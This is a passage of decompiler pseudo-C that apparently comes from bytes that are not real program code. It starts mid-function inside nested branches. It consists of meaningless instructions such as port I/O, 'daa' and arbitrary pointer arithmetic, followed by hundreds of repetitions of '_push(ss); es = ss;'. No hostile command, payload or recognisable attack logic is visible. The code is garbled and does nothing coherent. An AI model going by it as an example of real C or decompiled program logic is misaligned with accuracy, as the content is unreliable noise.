      																	_push(es);
      																	 *_t395 =  *_t395 + _t541;
      																	_t126 = _t499 + 0x6b;
      																	 *_t126 =  *(_t499 + 0x6b) + _t575;
      																	__eflags =  *_t126;
      																	if(__eflags < 0) {
      																		L78:
      																		 *_t619 =  *_t619 + _t395;
      																		 *((intOrPtr*)(_t600 + 0x41)) =  *((intOrPtr*)(_t600 + 0x41)) + _t578;
      																		_t542 = _t541 - 1;
      																		_t619 = _t619 - 1;
      																		__eflags = _t619;
      																		goto L79;
      																	} else {
      																		if(__eflags == 0) {
      																			L79:
      																			_t648 = _t646 - 1 + 1;
      																			 *((intOrPtr*)(_t578 + _t619)) =  *((intOrPtr*)(_t578 + _t619)) + _t395;
      																			_pop(es);
      																			asm("pushfd");
      																			_t396 = _t395 + 0x5fa028e;
      																			asm("adc [eax+eax], ebx");
      																			 *_t499 =  *_t499 + 1;
      																			 *[es:eax] =  *[es:eax] + _t396;
      																			 *_t600 =  *_t600 + _t499;
      																			_push(es);
      																			_t150 = _t648 + 0x6e;
      																			 *_t150 =  *(_t648 + 0x6e) + _t396;
      																			__eflags =  *_t150;
      																			asm("outsd");
      																			if(__eflags >= 0) {
      																				_t649 = _t648 +  *_t542;
      																				 *_t396 =  *_t396 + _t396;
      																				 *_t578 =  *_t578 + _t396;
      																				_pop(es);
      																				_t162 = _t619 + 0x72;
      																				 *_t162 =  *(_t619 + 0x72) + _t396;
      																				__eflags =  *_t162;
      																				asm("gs insd");
      																				if( *_t162 == 0) {
      																					L90:
      																					asm("insb");
      																					_t649 = _t649 +  *((intOrPtr*)(_t673 + _t396));
      																					asm("adc [edx], esp");
      																					_t500 = _t499 + _t499;
      																					__eflags = _t500;
      																					L91:
      																					 *_t500 =  *_t500 + 1;
      																					_t397 = _t396 -  *_t396;
      																					 *_t397 =  *_t397 + _t397;
      																					_t396 = _t397 & 0x6f4e0008;
      																					__eflags = _t396;
      																					asm("outsb");
      																					if(_t396 < 0) {
      																						L98:
      																						 *_t396 =  *_t396 + _t396;
      																						 *_t619 =  *_t619 - _t396;
      																						 *((intOrPtr*)(_t396 + 0x6f)) =  *((intOrPtr*)(_t396 + 0x6f)) + _t542;
      																						asm("insd");
      																						asm("outsd");
      																						L99:
      																						asm("outsb");
      																						 *[gs:ecx+eax] =  *[gs:ecx+eax] + _t396;
      																						_t399 = (_t396 |  *_t396) - 1;
      																						__eflags = _t399;
      																						if(__eflags >= 0) {
      																							L105:
      																							 *_t619 =  *_t619 + _t399;
      																							__eflags =  *_t619;
      																							L106:
      																							_push(es);
      																							 *_t542 =  *_t542 + _t542;
      																							 *((intOrPtr*)(_t542 + 0x4e)) =  *((intOrPtr*)(_t542 + 0x4e)) + _t399;
      																							_t619 = _t619 - 1;
      																							_push(_t619);
      																							_t650 = _t649 + 1;
      																							_push(_t578);
      																							_push(_t500);
      																							_t542 = _t542 - 1 + 1;
      																							 *0xee0685 =  *0xee0685 + _t399;
      																							asm("daa");
      																							_t400 = _t399 + 0xa;
      																							_push(es);
      																							asm("adc ch, [ecx]");
      																							_t501 = _t500 + _t500;
      																							_t673 = _t673 +  *_t619;
      																							 *_t400 =  *_t400 + _t400;
      																							 *((intOrPtr*)(_t673 + _t400)) =  *((intOrPtr*)(_t673 + _t400)) + _t542;
      																							_t221 = _t501 + 0x61;
      																							 *_t221 =  *(_t501 + 0x61) + _t542;
      																							__eflags =  *_t221;
      																							if( *_t221 < 0) {
      																								L114:
      																								_t542 = _t542 - 1 + 1;
      																								__eflags = _t542;
      																								_t673 = _t673 + 1 - 1;
      																								L115:
      																								_t600 = _t600 - 1 + 1;
      																								_t542 = _t542 - 1;
      																								_push(_t501);
      																								 *_t619 =  *_t619 + _t400;
      																								_t236 = _t400 + _t400;
      																								 *_t236 =  *(_t400 + _t400) + _t400;
      																								__eflags =  *_t236;
      																								L116:
      																								 *((intOrPtr*)(_t619 + 0x69)) =  *((intOrPtr*)(_t619 + 0x69)) + _t542;
      																								 *[fs:0x2110251] =  *[fs:0x2110251] + _t400;
      																								asm("rol dword [edx], 1");
      																								__eflags = _t400 -  *_t578;
      																								asm("adc ch, [0x2703ff00]");
      																								 *_t400 =  *_t400 + _t400;
      																								 *_t400 =  *_t400 + _t578;
      																								_push(es);
      																								_t240 = _t501 + 0x61;
      																								 *_t240 =  *(_t501 + 0x61) + _t400;
      																								__eflags =  *_t240;
      																								if( *_t240 == 0) {
      																									L119:
      																									asm("adc [eax], esi");
      																									_t501 = _t501 + _t501;
      																									_t650 = _t650 +  *_t578;
      																									 *_t400 =  *_t400 + _t400;
      																									 *_t501 =  *_t501 + _t578;
      																									 *_t400 =  *_t400 | _t400;
      																									__eflags =  *_t400;
      																									_t673 = _t673 - 1;
      																									L120:
      																									_t623 = _t619 + 1;
      																									_push(_t673);
      																									_t651 = _t650 + 1;
      																									_push(_t578);
      																									_t546 = _t542 - 1 + 1;
      																									_t579 = _t578 + 1;
      																									_push(_t501);
      																									 *_t623 =  *_t623 + _t400;
      																									 *_t600 =  *_t600 + _t400;
      																									_t256 = _t546 + 0x75;
      																									 *_t256 =  *(_t546 + 0x75) + _t400;
      																									__eflags =  *_t256;
      																									if(__eflags == 0) {
      																										L128:
      																										 *_t501 =  *_t501 + 1;
      																										 *_t400 =  *_t400 - _t400;
      																										 *_t400 =  *_t400 + _t400;
      																										 *[ss:eax] =  *[ss:eax] | _t400;
      																										__eflags =  *[ss:eax];
      																										L129:
      																										 *_t400 =  *_t400 | _t400;
      																										__eflags =  *_t400;
      																										if(__eflags >= 0) {
      																											L137:
      																											asm("outsb");
      																											 *_t623 =  *_t623 + _t400;
      																											asm("cmpsd");
      																											_t400 = _t400 + 0xcb;
      																											 *((intOrPtr*)(_t579 + _t400 - 0x6d)) =  *((intOrPtr*)(_t579 + _t400 - 0x6d)) + _t501;
      																											 *_t546 =  *_t546 | _t579;
      																											_t501 = _t501 + _t501;
      																											__eflags = _t501;
      																											L138:
      																											_t501 = _t501 + _t501;
      																											_t652 = _t651 +  *_t501;
      																											 *_t400 =  *_t400 + _t400;
      																											 *_t546 =  *_t546 + _t501;
      																											 *_t400 =  *_t400 | _t400;
      																											_t579 = _t579 + 1;
      																											asm("bound edi, [gs:ecx+0x72]");
      																											 *[ss:esi] =  *[ss:esi] + _t400;
      																											 *_t546 =  *_t546 + _t546;
      																											_t290 = _t579 + 0x61 + _t623 * 2;
      																											 *_t290 =  *(_t579 + 0x61 + _t623 * 2) + _t579;
      																											__eflags =  *_t290;
      																											asm("outsb");
      																											if( *_t290 >= 0) {
      																												L145:
      																												asm("a16 jz 0x73");
      																											}
      																											asm("fild word [ebx]");
      																											_t579 = _t579 - 1;
      																											_pop(es);
      																											_t423 = _t546;
      																											_t546 = _t400;
      																											 *_t579 =  *_t579 + _t579;
      																											asm("aaa");
      																											_t521 = _t501 + _t501;
      																											 *_t423 =  *_t423 + _t423;
      																											 *_t579 =  *_t579 + _t521;
      																											 *_t423 =  *_t423 | _t423;
      																											_push(_t423);
      																											_t681 =  *(_t600 + 0x39) * 0x4520500 +  *_t623 - 1;
      																											_t600 = _t600;
      																											_push(_t681);
      																											_t424 = _t423 - 1;
      																											_t623 = _t623 - 1;
      																											 *((intOrPtr*)(_t546 + _t424)) =  *((intOrPtr*)(_t546 + _t424)) + _t424;
      																											_t425 = _t424;
      																											_t523 = _t521 + 1 - 1;
      																											__eflags = _t523;
      																											asm("outsd");
      																											asm("outsb");
      																											if (_t523 >= 0) goto L140;
      																											_push(es);
      																											_t654 = _t652 + 1;
      																											_t427 = _t425 + 0x2c40524;
      																											asm("adc [eax], edi");
      																											_t501 = _t523 + _t523;
      																											_t677 = _t681 +  *((intOrPtr*)(_t427 + _t427));
      																											__eflags = _t677;
      																											L141:
      																											_t402 = _t427 & 0x00000000;
      																											 *_t402 =  *_t402 + _t402;
      																											__eflags = _t402 -  *((intOrPtr*)(_t402 + _t402));
      																											_t600 = _t600 + 1;
      																											__eflags = _t600;
      																											if(__eflags < 0) {
      																												if(__eflags == 0) {
      																													L160:
      																													 *_t402 =  *_t402 | _t402;
      																													__eflags =  *_t402;
      																													_push(_t501);
      																													asm("insd");
      																													asm("outsd");
      																													asm("outsd");
      																													if( *_t402 == 0) {
      																														L167:
      																														_t546 = _t546 + 1;
      																														_t501 = _t501 + _t501;
      																														_t677 = _t677 +  *0x44000000;
      																														_push(es);
      																														_t357 = _t579 + 0x6f;
      																														 *_t357 =  *(_t579 + 0x6f) + _t402;
      																														__eflags =  *_t357;
      																														if( *_t357 < 0) {
      																															L175:
      																															_pop(es);
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
      																															_push(ss);
      																															es = ss;
